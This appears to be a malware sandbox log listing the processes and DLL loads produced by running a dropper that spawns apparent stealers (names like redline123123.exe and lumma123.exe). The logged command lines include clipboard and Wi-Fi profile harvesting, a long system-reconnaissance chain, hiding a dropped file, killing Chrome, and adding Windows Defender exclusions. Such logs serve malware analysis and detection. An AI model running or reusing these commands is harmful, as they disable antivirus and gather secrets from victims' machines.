Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe "C:\Users\user\AppData\Local\Temp\1000008001\upd.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 7796 -ip 7796
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7796 -s 284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe "C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\configurationValue\One.exe "C:\Users\user\AppData\Roaming\configurationValue\One.exe"
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe "C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe"
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe "C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe work.exe -priverdD
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: unknown	Process created: C:\ProgramData\okili\peombdb.exe C:\ProgramData\okili\peombdb.exe start2
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe "C:\Users\user\AppData\Local\Temp\1000014001\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe "C:\Users\user\AppData\Local\Temp\1000004001\gold.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe "C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe "C:\Users\user\AppData\Local\Temp\1000008001\upd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe "C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe "C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe "C:\Users\user\AppData\Local\Temp\1000014001\services64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe""
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()""
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 7796 -ip 7796
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7796 -s 284
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe "C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\configurationValue\One.exe "C:\Users\user\AppData\Roaming\configurationValue\One.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe work.exe -priverdD
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
